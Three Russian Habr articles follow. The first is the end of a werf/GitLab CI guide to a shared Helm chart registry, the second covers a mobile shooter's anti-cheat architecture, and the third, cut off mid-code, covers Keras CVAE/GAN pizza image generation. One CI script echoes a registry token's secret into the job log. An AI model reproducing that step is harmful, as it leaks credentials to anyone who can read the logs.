│ │ │ └── main.yaml
│ │ └── values.yaml
│ └── Chart.yaml
├── README.md
└── werf.yaml
```
Для простоты в качестве `main.yaml` я буду использовать примитивный манифест ConfigMap, который просто печатает название чарта:
```
#---- .helm/charts/my-chart/templates/main.yaml
apiVersion: v1
kind: ConfigMap
metadata:
name: {{ .Chart.Name }}
data:
file: |
{{ .Chart.Name }}
#---- werf.yaml
project: charts-repo
configVersion: 1
```
Хочется уделить больше внимания файлу `.gitlab-ci.yml`. Он может читаться сложно, поэтому я постарался прокомментировать длинные и необычные команды:
```
stages:
- publish-charts
variables:
REPO_URL: "${CI_SERVER_URL}/api/v4/projects/${CI_PROJECT_ID}/packages/helm/api/stable/charts"
before_script:
- set -eo pipefail
# Активируем werf.
- type trdl && . $(trdl use werf 1.2 stable)
- type werf && source $(werf ci-env GitLab --as-file)
- |
# Обновляем доступные Helm repo через werf.
werf helm repo update
# Ищем все файлы с описанием чартов и используем их для построения зависимостей.
find . -type f -regex '.*/\(Chart.ya?ml\|requirements.ya?ml\)' -exec \
sh -c 'werf helm dependency build $(dirname "{}") --skip-refresh' \;
"publish charts":
stage: publish-charts
script:
- |
# Пробегаем по всем директориям с чартами и упаковываем чарты, помещая их в директорию .packages.
mkdir -p .packages
while read chart; do
echo "[PACKAGING CHART $chart]"
werf helm package "$chart" -d .packages
done < <(find .helm/charts -mindepth 1 -maxdepth 1 -type d)
- |
# Заполняем 2 переменные: CHART_NAME и CHART_VERSION.
find .packages -mindepth 1 -maxdepth 1 -type f -name '*.tgz' -exec sh -c 'basename "$0"' '{}' \; | while read package; do
CHART_NAME=$(echo $package | sed -e 's/-[0-9]\.[0-9]\.[0-9]\.tgz$//g')
CHART_VERSION=$(echo $package | sed -e 's/^[a-zA-Z-].*-//g' | sed -e 's/.tgz$//g')
# используя переменные выше, устанавливаем, есть ли уже чарт с таким именем и версией в Helm repo
CHART_EXISTS=$(werf helm search repo -l $REPO_NAME/$CHART_NAME | { egrep "$REPO_NAME/$CHART_NAME\s"||true; } | { egrep "$CHART_VERSION\s"||true; } | wc -l)
# если его нет, то пушим в package registry, иначе выводим сообщение, что чарт уже присутствует в Helm repo
if [ $CHART_EXISTS = 0 ]; then
curl -sSl --post301 --form "chart=@.packages/$package" --user "$REPO_PUSH:$REPO_PUSH_SECRET" "$REPO_URL"
else
echo "Chart package $package already exists in Helm repo! Skip!"
fi
done
only:
- tags
```
Для использования этого CI (то есть для push’а чарта в package registry) нам нужно создать некоторые ключи и оформить их в виде переменных окружения. Рассмотрим их подробнее на следующем шаге.
3. Переходим в настройки Repository (`Settings` -> `Repository` -> `Deploy tokens`) и создаём токен с правами `read_package_registry` и `write_package_registry`.
4. Переходим в настройки CI/CD (`Settings` -> `CI/CD` -> `Variables`) и создаём переменные окружения:
* `REPO_NAME` — алиас (например, `my-charts`);
* `REPO_PUSH` — название токена из п.3;
* `REPO_PUSH_SECRET` — Secret для токена из п.3.
5. Заходим на машину с GitLab Runner’ом, на котором будет запускаться CI данного проекта, и регистрируем на нём Helm repo (команды `werf helm` здесь аналогичны обычным командам `helm`):
```
werf helm repo add --username $REPO_PUSH --password $REPO_PUSH_SECRET $REPO_NAME ${CI_SERVER_URL}/api/v4/projects/${CI_PROJECT_ID}/packages/helm/stable
werf helm repo update
```
Не забудьте заменить переменные окружения реальными значениями!
> *Примечание: для своего удобства я не стал создавать отдельную пару токен/Secret для GitLab Runner’а и поэтому буду использовать те, что получил в п.3. Но в реальных кейсах мы рекомендуем для настройки GitLab Runner’ов генерировать отдельный токен с правами только на* `read_package_registry`*.*
>
>
6. Commit’им, push’им изменения, создаем новый тег (например, `my-chart-1.0.0`) и переходим в созданный pipeline. После окончания Job’а переходим в `Packages & Registries` -> `Package Registry` и проверяем, что наш Helm-чарт там присутствует.
> *Примечание: я использую деплой по тегу, потому что в такой вариации мы всегда сможем быстро найти, с какого коммита был запущен тот или иной Helm-чарт. К тому же, бывают случаи, когда package registry утерян: в такой ситуации, когда после восстановления package registry он пустой, мы сможем за-push’ить только последние версии Helm-чартов, которые будут в main-ветке. Если какое-то приложение использует устаревшую версию Helm-чарта, то возникнут трудности. Имея на каждую версию чарта свой тег, мы сможем быстро восстановить для приложения необходимый компонент.*
>
>
7. Проверим состояние репозитория на GitLab Runner’е через werf:
```
werf helm repo update
werf helm search repo my-charts
NAME CHART VERSION APP VERSION DESCRIPTION
my-charts/my-chart 1.0.0
```
Видим, что Helm-чарт появился в репозитории. Полдела сделано!
Реализация дочернего репозитория
--------------------------------
Репозиторий на стороне проекта, который будет использовать общий чарт, настраиваем немного иначе.
1. Создаём пустой репозиторий и приводим его структуру к следующему виду:
```
.
├── .gitlab-ci.yml
├── .helm
│ └── Chart.yaml
├── README.md
└── werf.yaml
```
2. Рассмотрим содержимое ключевых файлов:
```
#---- .helm/Chart.yaml
apiVersion: v2
name: client-charts-repo
version: 1.0.0
dependencies:
- name: my-chart
version: ~1.0
repository: "@my-charts"
```
```
#---- werf.yaml
project: client-charts-repo
configVersion: 1
```
```
#---- .gitlab-ci.yml
stages:
- publish-charts
variables:
REPO_URL: "${CI_SERVER_URL}/api/v4/projects/${CI_PROJECT_ID}/packages/helm/api/stable/charts"
HELM_URL: "${CI_SERVER_URL}/api/v4/projects/${CI_PROJECT_ID}/packages/helm/stable"
default:
before_script:
- set -eo pipefail
- type trdl && . $(trdl use werf 1.2 stable)
- type werf && source $(werf ci-env GitLab --as-file)
.base_publish_charts:
stage: publish-charts
script: |
werf helm repo add --force-update --username $MAIN_REPO_PULL --password $MAIN_REPO_PULL_SECRET $MAIN_REPO_NAME $MAIN_HELM_URL
werf helm repo update
werf helm dependency update .helm/
find .helm/charts -mindepth 1 -maxdepth 1 -type f -name '*.tgz' -exec sh -c 'basename "$0"' '{}' \; | while read package; do
CHART_NAME=$(echo $package | sed -e 's/-[0-9]\.[0-9]\.[0-9]\.tgz$//g')
CHART_VERSION=$(echo $package | sed -e 's/^[a-zA-Z-].*-//g' | sed -e 's/.tgz$//g')
CHART_EXISTS=$(werf helm search repo $REPO_NAME | { egrep "$REPO_NAME/$CHART_NAME\s" || true; } | { egrep "$CHART_VERSION\s" || true; } | wc -l)
if [ $CHART_EXISTS = 0 ]; then
curl -sSl --post301 --form "chart=@.helm/charts/$package" --user "$REPO_PUSH:$REPO_PUSH_SECRET" "$REPO_URL"
else
echo "Chart package $package already exists in Helm repo! Skip!"
fi
done
werf helm repo add --username $REPO_PULL --password $REPO_PULL_SECRET $REPO_NAME $HELM_URL
werf helm repo update
echo "Настройка на ПК инженера"
echo "REPO_URL: $REPO_URL"
echo "werf helm repo add --username $REPO_PULL --password $REPO_PULL_SECRET $REPO_NAME $HELM_URL"
rules:
- if: '$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH'
when: on_success
allow_failure: true
"publish charts":
extends:
- .base_publish_charts
tags:
- werf
```
3. Теперь разберём переменные окружения, которые используются в настройках проекта:
* `MAIN_REPO_PULL` — название токена с правами `read_package_registry` в главном репозитории.
* `MAIN_REPO_PULL_SECRET` — Secret токена с правами `read_package_registry` в главном репозитории.
* `MAIN_REPO_NAME` — алиас главного репозитория.
* `MAIN_HELM_URL` — URL для доступа в главный репозиторий.
* `CLIENT_REPO_NAME` — алиас дочернего репозитория.
* `CLIENT_REPO_PUSH` — название токена с правами`write_package_registry` в дочернем репозитории.
* `CLIENT_REPO_PUSH_SECRET` — Secret токена с правами `write_package_registry` в дочернем репозитории.
* `CLIENT_REPO_PULL` — название токена с правами `read_package_registry` в дочернем репозитории.
* `CLIENT_REPO_PULL_SECRET` — Secret токена с правами `read_package_registry` в дочернем репозитории.
4. Настроим переменные окружения дочернего репозитория для доступа в главный репозиторий:
* Переходим в главный репозиторий во вкладку `Settings` -> `Repository` -> `Deploy tokens` и создаём новый токен с правами `read_package_registry`.
* Помещаем полученные значение в переменные окружения `MAIN_REPO_PULL` и `MAIN_REPO_PULL_SECRET` дочернего репозитория.
+ `MAIN_REPO_NAME` берём из `REPO_NAME`, который задавали в п.4 при настройке главного репозитория, `MAIN_HELM_URL` должна соответствовать значению `${CI_SERVER_URL}/api/v4/projects/${CI_PROJECT_ID}/packages/helm/stable` главного репозитория.
5. В дочернем репозитории переходим во вкладку `Settings` -> `Repository` -> `Deploy tokens` и создаём два токена.
Первый — с правами `write_package_registry`. Полученные данные помещаем в переменные окружения:
* `CLIENT_REPO_PUSH` — название токена,
* `CLIENT_REPO_PUSH_SECRET` — Secret токена.
Второй — с правами `read_package_registry`. Полученные данные помещаем в переменные окружения:
* `CLIENT_REPO_PULL` — название токена,
* `CLIENT_REPO_PULL_SECRET` — Secret токена.
Также придумываем алиас для Helm repo и помещаем его в переменную `CLIENT_REPO_NAME`. Например, `CLIENT_REPO_NAME = client-charts-repo`.
На этом этапе мы закончили настройку дочернего репозитория. Если запустить pipeline на основной ветке в такой конфигурации, Job скачает из главного Helm repo все чарты, которые указаны в качестве зависимостей в файле `.helm/Chart.yaml`. Это добавляет дополнительной гибкости, так как позволяет включать в проект только те Helm-чарты, которые в нём требуются.
В данной реализации CI для дочернего репозитория из главного Helm repo скачивается только последний актуальный Helm-чарт. Можно доработать CI таким образом, чтобы он повторно push’ил все доступные версии Helm-чартов. Можно добавить какую-нибудь логику, которой вам будет удобно пользоваться, но так как это выходит за рамки статьи, я воспользуюсь правом не приводить примеры (кто сказал про рендер и валидацию Helm-чарта перед push’ем?..).
На этом этапе мы закончили настройку всех компонентов. Теперь при push’е пакета с Helm-чартом в родительский Package registry его можно будет скачать через CI дочерних (клиентский) репозиториев. В дополнение можно настраивать CI по своим нуждам — например, сделать так, чтобы дочерние CI запускались по расписанию и автоматом подтягивали обновления чартов к себе (без явного запуска пайплайна руками).
Выводы
------
В статье мы рассмотрели, как научить GitLab нужного проекта выкачивать Helm-чарты из централизованного хранилища в другом репозитории. Это очень удобная и полезная функция в GitLab. Нам давно не хватало подобной возможности, и вот наконец мы можем управлять Helm-чартами, как говорится, «не отходя от кассы»!
### P.S.
Читайте также в нашем блоге:
* [«Запуск werf в GitLab CI/CD без Docker-сервера»](https://habr.com/ru/company/flant/blog/649551/);
* [«Продвинутая Helm-шаблонизация: выжимаем максимум»](https://habr.com/ru/company/flant/blog/529158/);
* [«GitLab CI: 6 фич из последних релизов, которых мы так ждали»](https://habr.com/ru/company/flant/blog/491888/). | https://habr.com/ru/post/667338/ | null | ru | null |
# Первые пять шагов для перелома ситуации с читерами в PvP-шутере
Мы прошли долгий путь от появления в игре первых читеров до полного пересмотра подхода к разработке, чтобы создавать защищенные по умолчанию мобильные проекты. О том, как в игре появились читеры, я рассказал в [прошлом материале](https://habr.com/ru/company/lightmap/blog/544182/). И там же привел список подзадач, которые выкатили одновременно, чтобы закрыть вопрос со взломами, — от обфускации кода до подсчета хеша всех библиотек и надежной системы бана.
Итак, эти шаги:
* Обфускация.
* Хранение данных.
* Миграция прогресса.
* Система бана.
* Подсчет хеша всех библиотек.
* Защита от переподписывания версий.
* Photon Plugin.
* Серверная валидация инаппов.
* Защита от взлома оперативной памяти.
* Собственная аналитика.
* И одновременный релиз всех решений.
Сегодня поговорим про первые пять пунктов.
Для удобства я пронумеровал все разделы, но напомню, что приведенные ниже решения мы разрабатывали и выкатили одновременно. Потому что постепенный ввод изменений сильно облегчит взломщикам отслеживание апдейтов.
### Шаг №1. Обфускация
Первым делом ввели новые стандарты написания кода, позволяющие плагину обфускации сделать свое дело, и переписали под них всё приложение. Задача не особо сложная, но ресурсоемкая, потому что кодовая база к этому времени уже была довольно большая.
Для защиты приложения от взлома обфускация играет большую роль, так как на всех платформах можно изменять код приложения, подменяя результаты выполнения различных свойств и методов тем или иным способом. И чем проще он читается, тем ниже порог для входа. Цена инаппов, жизни, урон скорость и так далее — все это нужно обязательно скрывать.
Мы используем плагин [Beebyte Obfuscator](https://assetstore.unity.com/packages/tools/utilities/obfuscator-48919). Но для работы плагинов обфускаторов надо придерживаться определенных правил оформления кода, иначе названия свойств и методов не будут скрываться.
Какие-то из приведенных ниже правил были выведены изучением материалов о работе обфускаторов, что-то получили экспериментальным путем, ну а что-то нам подсказал разработчик плагина, с которым мы связывались при внедрении. Наш набор:
* internal вместо \*\*public\*\* и \*\*private\*\* или \*\*internal\*\* вместо \*\*protected\*\*.
* Все члены классов, помеченных [Serializable], не обфусцируются.
* Свести к минимуму использование Parse/ToString для enum (при обфускации результат, как правило, бесполезен), но если это все-таки необходимо, то помечаем атрибутом \*\*[Obfuscation(Exclude = true)]\*\*.
Например:
```
[Obfuscation(Exclude = true)]
public enum GameEventItemContainerContentType
{
None = 0,
SingleItem = 1,
ItemsCollection = 2,
Start = 3,
}
```
* По возможности заменяем `const` на `static`. Статики нельзя использовать в switch. Например, вместо internal const string A\_B = "my\_constant" делать internal static readonly string A\_B = "my\_constant" либо internal static string A\_B { get{...} }.
* События анимаций — их нужно оставлять/делать public или помечать атрибутом [Obfuscation(Exclude = true)].
* Лямбды — имя лямбды включает имя того метода/класса, в котором она определена, вне зависимости от модификатора доступа метода или класса. По возможности нужно заменять лямбды методами.
* Kорутины в IL не обфусцируются. Поэтому их можно обфусцировать вручную, например, назвать vfg45\_00.
Сейчас, когда под плагин переделано абсолютное большинство нашего кода, весь новый мы пишем согласно этим правилам. Также периодически пересматриваем дамп сборки со списком методов в проекте на предмет, нет ли каких-то важных необфусцированных методов.
Отмечу минус использования обфускации — время сборки неминуемо увеличивается (у нас примерно на 30%), но польза несравнимо выше.
На случай, когда надо получить сборку максимально быстро, мы добавили на билд-сервере возможность сборки без обфускации. Но обычно стараемся собирать с ней, потому что есть опасность пропустить баги связанные с обфускацией (обычно это места, где результат выполнения кода зависит от имени метода или энума).
### Шаг №2. Хранение данных
При реализации общего плана по защите от взломов игры это был один из самых важных и в то же время масштабных пунктов. Важным, потому что без полного контроля над прогрессом игроков невозможно полноценно защититься от взломов. А масштабным, потому что более чем за пять лет жизни проекта в игре было огромное количество сущностей и функционала, каждый из которых хранил данные в собственном формате, сохранялся беспорядочно и не имел никаких ограничений по количеству обращений к диску на чтение и запись.
Для реализации этой задачи необходимо было переработать все функционалы, в которых что-либо сохранялось.
На этапе составления плана действий мы попытались найти кого-нибудь с подобным опытом, прошерстили интернет и пообщались с коллегами из других студий, но многие вообще не верили, что это возможно, учитывая количество накопившегося у нас легаси.
Что ж, для начала составили критерии, которым должна удовлетворять наша система хранения данных:
* Пользовательский опыт, когда все действия в игре происходят моментально без задержек на серверную валидацию, не должен пострадать.
* При запуске приложения одним пользователем на нескольких устройствах игрок должен видеть абсолютно одинаковые состояния.
* Нельзя допустить, чтобы какие-либо проблемы с сервером приводили к запрету входа в игру.
* Минимизировать трафик и нагрузку на сервер.
* После реализации основного этапа поддержка и развитие новых функционалов должны быть максимально простыми и быстрыми.
* Все должно быть надежным и исключать возможность несанкционированного накручивания прогресса.
* Желательно оставить возможность пользоваться игрой оффлайн, так как такие режимы востребованы среди наших игроков.
Потом начали составлять план работ. Выделили несколько глобальных этапов:
1. Введение постоянного сокетного соединения клиент-сервер. Используемая до этого связь через https-запросы сильно ограничивала нас в реализации необходимых функционалов. Виделось, что при ней реализовать систему по всем требованиям не получится.
Тогда опыта использования постоянного сокетного соединения у нас еще не было (предполагалось, что в дальнейшем без соединения нельзя будет находиться в основных разделах игры), поэтому решили обкатать соединение постепенно.
Сначала сделали фоновое подключение и продублировали часть второстепенных функционалов на сокетное соединение с возможностью удаленного переключения, каким каналом связи клиенту пользоваться. Выкатили на пользователей, настроили сервера и убедились, что соединение работает стабильно.
Затем ввели полноценную работу с аккаунтами и добавили поддержку сокетного соединения у большего количества функционалов. До этого момента мы поддерживали оба канала связи. Когда убедились, что новая архитектура держит постоянную связь с сервером и справляется с нагрузками, то можно было выкатывать полноценную работу с прогрессом и все остальные переработанные функционалы.
2. Формат хранения данных определили JSON. Может он и не самый оптимизированный по трафику и работе, но удобен в использовании. Его мы расширяем и часто используем по проекту.
Глобально прогресс представляет собой Dictionary, где каждая пара — это так называемые слоты для хранения данных. Каждый слот служит для хранения своего типа данных: слот валюты, слот инвентаря, слот ачивок и так далее. Ключ — он же номер слота данных — решили сделать интовым, чтобы сократить использование трафика, значение в каждом слоте может иметь свой формат, но это всегда JSON.
Чтобы все действия на клиенте отрабатывались моментально, прогресс хранится и на клиенте, и на сервере (команды по изменению прогресса пишутся и там, и там). Отрабатывают сначала на клиенте: визуально пользователь видит, что все окей, а в это время на сервер отправляются параметры для команды. Там они проходят необходимые проверки, и если все хорошо, то прогресс меняется аналогичным способом, как и в клиенте. По результату сравниваются итоговые хеши изменившихся слотов на сервере и клиенте, если не сходятся — рвется соединение с клиентом, клиент переавторизовывается и подтягивает последнее валидное состояние слотов.
Чтобы сократить трафик между клиентом и сервером, для сравнения слотов отправляется хеш слота, а не слот целиком. И только при несовпадении хешей пересылается состояние слота от сервера клиенту при авторизации.
На случай временной потери интернета (или если, например, приложение закроется до отправки команды на сервер), команды сохраняются локально и при следующем запуске перед началом сравнения слотов на сервере и клиенте сначала отправляются они и только потом хеши имеющихся слотов.
Чтобы прогресс всегда был в консистентном состоянии, добавили возможность отправки нескольких команд на изменение прогресса в виде одной и назвали это снапшотом. Если не проходит валидацию одна из команд в снапшоте, то все команды в нем фейлятся и не применяются. Где это необходимо использовать: при добавлении опыта повышается уровень игрока, а за это ему необходимо выдать награду. Если не сойдется слот уровня (например, в случае локального его изменения до команды), то и добавление опыта не запишется, не создав ситуацию, когда у игрока опыта больше, чем может быть на уровне.
3. Для сохранения возможности входа в Pixel Gun 3D в те моменты, когда необходимо по каким-либо причинам остановить сервер прогресса, реализовали для него аварийный режим. При его включении все команды отрабатывают только локально. А когда включается штатный режим, клиент присылает серверу текущие слоты. В эти моменты, конечно, есть возможность что-либо накрутить через какой-нибудь мод. Но аварийный режим мы включаем крайне редко, да и визуально на клиенте никак этого не понять, поэтому вероятность, что этим воспользуются — минимальна.
4. Оставили возможность входа в игру при отсутствии интернета. Игрокам доступны одиночные режимы без наград и ряд других локальных возможностей, которые не требуют изменений прогресса.
### Шаг №3. Миграция прогресса
При переходе от хранения прогресса игроков в сторонних сервисах к хранению на собственных серверах, необходимо было мигрировать эти данные, относящиеся именно к состоянию профиля. То есть полноценно перенести прогресс у честных игроков и не допустить, чтобы после ввода новой схемы работы прогресса можно было взламывать на прошлых версиях и путем обновления переносить данные к нам на сервер.
Для этого мы добавили выдачу уникальных ключей всем, кто заходил в игру во время реализации новой схемы прогресса (примерно полгода). В дальнейшем, как только выпустили версию с обновленным прогрессом, мы отключили на сервере выдачу этих ключей, а принимали мигрированный прогресс только от тех, у кого был ключ и только один раз (чтобы нельзя было вернуться в прошлую версию и начислить прогресс тем, кто этого не сделал ранее).
Так мы мигрировали прогресс всем активным игрокам и решили проблему взлома через старые незащищенные версии.
### Шаг №4. Система бана
Реализовали надежную систему бана, которую нельзя вырезать из клиента, так как у забаненного игрока блокируется весь серверный функционал (при том, что большая часть логики уже была перенесена на сервер).
Ранее, когда не было постоянного соединения с сервером, не было возможности надежно забанить клиент — информация о бане запрашивалась отдельным http-запросом с сервера, и в случае положительного ответа в клиенте выводился баннер, что аккаунт забанен. Хоть мы и старались это спрятать в коде, появлялись различные моды, где весь мешающий жизни функционал был нейтрализован.
Сейчас, когда реализована постоянная связь с сервером, большинство функционалов просто не работает без соединения. Для бана достаточно запретить авторизацию при открытии соединения с отдельной ошибкой (для показа баннера, что игрок забанен), чтобы сделать невозможным пользование приложением с заблокированным аккаунтом.
Для защиты онлайна на серверах фотона от забаненных мы также сделали проверку с плагина фотона на факт бана. Если там выясняется, что такой id забанен, то игрока выкидывает из комнаты.
### Шаг №5. Подсчет хеша всех библиотек
Одним из традиционных способов взлома является модификация библиотек приложения напрямую. В случае с приложениями на Unity — это libil2cpp.so (при билде через IL2CPP).
Для обнаружения таких изменений может использоваться проверка на несовпадение контрольных сумм (хеша библиотек). Самым контролируемым способом будет вычисление текущего хеша на клиенте и отправка его на сервер (где он будет сравнен с эталонным).
Получить путь до наших библиотек можно так:
```
public string GetLibraryDirectory()
{
var unityPlayer = new AndroidJavaClass("com.unity3d.player.UnityPlayer");
if (unityPlayer == null)
throw new InvalidOperationException("unityPlayer == null");
var _currentActivity = unityPlayer.GetStatic("currentActivity");
if (\_currentActivity == null)
throw new InvalidOperationException("\_currentActivity == null");
AndroidJavaObject packageManager = \_currentActivity.Call("getPackageManager");
if (packageManager == null)
throw new InvalidOperationException("packageManager == null");
string packageName = \_currentActivity.Call("getPackageName");
if (string.IsNullOrEmpty(packageName))
throw new InvalidOperationException("string.IsNullOrEmpty(packageName)");
const int GetMetaData = 128;
AndroidJavaObject packageInfo = packageManager.Call("getPackageInfo", packageName, GetMetaData);
if (packageInfo == null)
throw new InvalidOperationException("packageInfo == null");
AndroidJavaObject applicationInfo = packageInfo.Get("applicationInfo");
if (applicationInfo == null)
throw new InvalidOperationException("applicationInfo == null");
string nativeLibraryDir = applicationInfo.Get("nativeLibraryDir");
if (string.IsNullOrEmpty(nativeLibraryDir))
throw new InvalidOperationException("string.IsNullOrEmpty(nativeLibraryDir)");
return nativeLibraryDir;
}
```
Для автоматизации процесса при сборке билдов можно использовать OnPostprocessBuild в Unity и производить расчет эталонного хеша. Обратите внимание на то, что при сборке с включением нескольких платформ (ARM, x86) необходимо вычислять хеш по каждой платформе.
### Что дальше
В следующий раз поговорим про остальные решения, а именно: защиту от переподписывания версий, Photon Plugin, серверную валидацию инаппов, защиту от взлома оперативной памяти, одновременный релиз всех решений и собственную аналитику. А про некоторые объемные пункты уже готовим отдельные, более подробные материалы. | https://habr.com/ru/post/547562/ | null | ru | null |
# Учим робота готовить пиццу. Часть 2: Состязание нейронных сетей
### Содержание
* [Часть 1: Получаем данные](https://habrahabr.ru/post/335444/)
В прошлой части, удалось распарсить сайт Додо-пиццы и загрузить данные об ингредиентах, а самое главное — фотографии пицц. Всего в нашем распоряжении оказалось 20 пицц. Разумеется, формировать обучающие данные всего из 20 картинок не получится. Однако, можно воспользоваться осевой симметрией пиццы: выполнив вращение картинки с шагом в один градус и вертикальным отражением — позволяет превратить одну фотографию в набор из 720 изображений. Тоже мало, но всё же попытаемся.
Попробуем обучить Условный вариационный автоэнкордер (Conditional Variational Autoencoder), а потом перейдёт к тому, ради чего это всё и затевалось — генеративным cостязательным нейронным сетям (Generative Adversarial Networks).
### CVAE — условный вариационный автоэнкордер
Для разбирательства с автоэнкодерами, поможет отличная серия статей:
* [Автоэнкодеры в Keras, Часть 3: Вариационные автоэнкодеры (VAE)](https://habrahabr.ru/post/331552/)
* [Автоэнкодеры в Keras, Часть 4: Conditional VAE](https://habrahabr.ru/post/331664/)
Настоятельно рекомендую к прочтению.
Здесь же перейдём сразу к делу.
Отличие CVAE от VAE — состоит в том, что нам нужно на вход как энкодеру, так и декодеру, дополнительно подавать еще метку. В нашем случае — меткой будет вектор рецепта, который получаем от OneHotEncoder.
Однако, тут возникает нюанс — а в какой момент имеет смысл подавать нашу метку?
Я попробовал два метода:
1. в конце — после всех свёрток — перед полносвязным слоем
2. в начале — после первой свёртки — добавляется как дополнительный канал
В принципе, оба способа имеют право на существование. Кажется логичным, что если добавлять метку в конце, то она будет привязываться к более высокоуровневым фичам изображения. И наоборот — если добавлять её в начале, то она будет привязана к более низкоуровневым фичам. Попробуем сравнить оба способа.
Вспомним, что рецепт состоит максимум из 9 ингредиентов. А их всего — 28. Получается, код рецепта будет представлять собой матрицу 9х29, а если вытянуть её, то получится 261-мерный вектор.
Для изображения, размером 32х32, выберем размер скрытого пространства равным 512.
Можно выбрать и меньше, но как будет видно далее — это приводит к более смазанному результату.
Код для энкодера с первым методом добавления метки — после всех свёрток:
```
def create_conv_cvae(channels, height, width, code_h, code_w):
input_img = Input(shape=(channels, height, width))
input_code = Input(shape=(code_h, code_w))
flatten_code = Flatten()(input_code)
latent_dim = 512
m_height, m_width = int(height/4), int(width/4)
x = Conv2D(32, (3, 3), activation='relu', padding='same')(input_img)
x = MaxPooling2D(pool_size=(2, 2), padding='same')(x)
x = Conv2D(16, (3, 3), activation='relu', padding='same')(x)
x = MaxPooling2D(pool_size=(2, 2), padding='same')(x)
flatten_img_features = Flatten()(x)
x = concatenate([flatten_img_features, flatten_code])
x = Dense(1024, activation='relu')(x)
z_mean = Dense(latent_dim)(x)
z_log_var = Dense(latent_dim)(x)
```
Код для энкодера со вторым методом добавления метки — после первой свёртки — как дополнительный канал:
```
def create_conv_cvae2(channels, height, width, code_h, code_w):
input_img = Input(shape=(channels, height, width))
input_code = Input(shape=(code_h, code_w))
flatten_code = Flatten()(input_code)
latent_dim = 512
m_height, m_width = int(height/4), int(width/4)
def add_units_to_conv2d(conv2, units):
dim1 = K.int_shape(conv2)[2]
dim2 = K.int_shape(conv2)[3]
dimc = K.int_shape(units)[1]
repeat_n = dim1*dim2
count = int( dim1*dim2 / dimc)
units_repeat = RepeatVector(count+1)(units)
#print('K.int_shape(units_repeat): ', K.int_shape(units_repeat))
units_repeat = Flatten()(units_repeat)
# cut only needed lehgth of code
units_repeat = Lambda(lambda x: x[:,:dim1*dim2], output_shape=(dim1*dim2,))(units_repeat)
units_repeat = Reshape((1, dim1, dim2))(units_repeat)
return concatenate([conv2, units_repeat], axis=1)
x = Conv2D(32, (3, 3), activation='relu', padding='same')(input_img)
x = add_units_to_conv2d(x, flatten_code)
#print('K.int_shape(x): ', K.int_shape(x)) # size here: (17, 32, 32)
x = MaxPooling2D(pool_size=(2, 2), padding='same')(x)
x = Conv2D(16, (3, 3), activation='relu', padding='same')(x)
x = MaxPooling2D(pool_size=(2, 2), padding='same')(x)
x = Flatten()(x)
x = Dense(1024, activation='relu')(x)
z_mean = Dense(latent_dim)(x)
z_log_var = Dense(latent_dim)(x)
```
Код декодера в обоих случаях совпадает — метка добавляется в самом начале.
```
z = Input(shape=(latent_dim, ))
input_code_d = Input(shape=(code_h, code_w))
flatten_code_d = Flatten()(input_code_d)
x = concatenate([z, flatten_code_d])
x = Dense(1024)(x)
x = Dense(16*m_height*m_width)(x)
x = Reshape((16, m_height, m_width))(x)
x = Conv2D(16, (3, 3), activation='relu', padding='same')(x)
x = UpSampling2D((2, 2))(x)
x = Conv2D(32, (3, 3), activation='relu', padding='same')(x)
x = UpSampling2D((2, 2))(x)
decoded = Conv2D(channels, (3, 3), activation='sigmoid', padding='same')(x)
```
Число параметров сети:
1. 4'221'987
2. 3'954'867
Скорость обучения на одну эпоху:
1. 60 сек
2. 63 сек
Результат после 40 эпох обучения:
1. loss: -0.3232 val\_loss: -0.3164
2. loss: -0.3245 val\_loss: -0.3191
Как видим, второй метод требует меньше памяти для ИНС, даёт лучше результат, но требует чуть больше времени для обучения.
Осталось визуально сравнить результаты работы.
1. Исходное изображение (32х32)
2. Результат работы — первый метод (latent\_dim = 64)
3. Результат работы — первый метод (latent\_dim = 512)
4. Результат работы — второй метод (latent\_dim = 512)
А теперь посмотрим, как выглядит применение переноса стиля для пиццы, когда кодирование пиццы осуществляется с оригинальным рецептом, а декодирование с другим.
```
i = 0
for label in labels:
i += 1
lbls = []
for j in range(batch_size):
lbls.append(label)
lbls = np.array(lbls, dtype=np.float32)
print(i, lbls.shape)
stt_imgs = stt.predict([orig_images, orig_labels, lbls], batch_size=batch_size)
save_images(stt_imgs, dst='temp/cvae_stt', comment='_'+str(i))
```
Результат работы переноса стиля (второй метод кодирования):
### GAN — генеративная cостязательная сеть
Мне не удалось найти устоявшегося русскоязычного названия подобных сетей.
Варианты:
* генеративные соревновательные сети
* порождающие соперничающие сети
* порождающие соревнующиеся сети
Мне больше нравится:
* генеративные cостязательные сети
С теорией работы GAN опять поможет отличная серия статей:
* [Автоэнкодеры в Keras, Часть 5: GAN(Generative Adversarial Networks) и tensorflow](https://habrahabr.ru/post/332000/)
* [Автоэнкодеры в Keras, часть 6: VAE + GAN](https://habrahabr.ru/post/332074/)
А для более глубокого понимания — свежая статья в блоге ODS: [Нейросетевая игра в имитацию](https://habrahabr.ru/company/ods/blog/322514/)
Однако, начав разбираться и пробовать самостоятельно реализовать генеративную нейронную сеть — я столкнулся с некоторыми сложностями. Например, были моменты, когда генератор выдавал по-настоящему психоделические картинки.
Разобраться в реализации помогли разные примеры:
[MNIST Generative Adversarial Model in Keras](https://oshearesearch.com/index.php/2016/07/01/mnist-generative-adversarial-model-in-keras/) ( [mnist\_gan.py](https://github.com/osh/KerasGAN/blob/master/mnist_gan.py) ),
рекомендации по архитектуре из статьи конца 2015 года от [facebook research](https://research.fb.com/publications/unsupervised-representation-learning-with-deep-convolutional-generative-adversarial-networks/) про **DCGAN** (Deep Convolutional GAN):
[Unsupervised Representation Learning with Deep Convolutional Generative Adversarial Networks](https://arxiv.org/abs/1511.06434)
а так же набор рекомендаций, позволяющий заставить GAN работать:
[How to Train a GAN? Tips and tricks to make GANs work](https://github.com/soumith/ganhacks).
Конструирование GAN:
```
def make_trainable(net, val):
net.trainable = val
for l in net.layers:
l.trainable = val
def create_gan(channels, height, width):
input_img = Input(shape=(channels, height, width))
m_height, m_width = int(height/8), int(width/8)
# generator
z = Input(shape=(latent_dim, ))
x = Dense(256*m_height*m_width)(z)
#x = BatchNormalization()(x)
x = Activation('relu')(x)
#x = Dropout(0.3)(x)
x = Reshape((256, m_height, m_width))(x)
x = Conv2DTranspose(256, kernel_size=(5, 5), strides=(2, 2), padding='same', activation='relu')(x)
x = Conv2DTranspose(128, kernel_size=(5, 5), strides=(2, 2), padding='same', activation='relu')(x)
x = Conv2DTranspose(64, kernel_size=(5, 5), strides=(2, 2), padding='same', activation='relu')(x)
x = Conv2D(channels, (5, 5), padding='same')(x)
g = Activation('tanh')(x)
generator = Model(z, g, name='Generator')
# discriminator
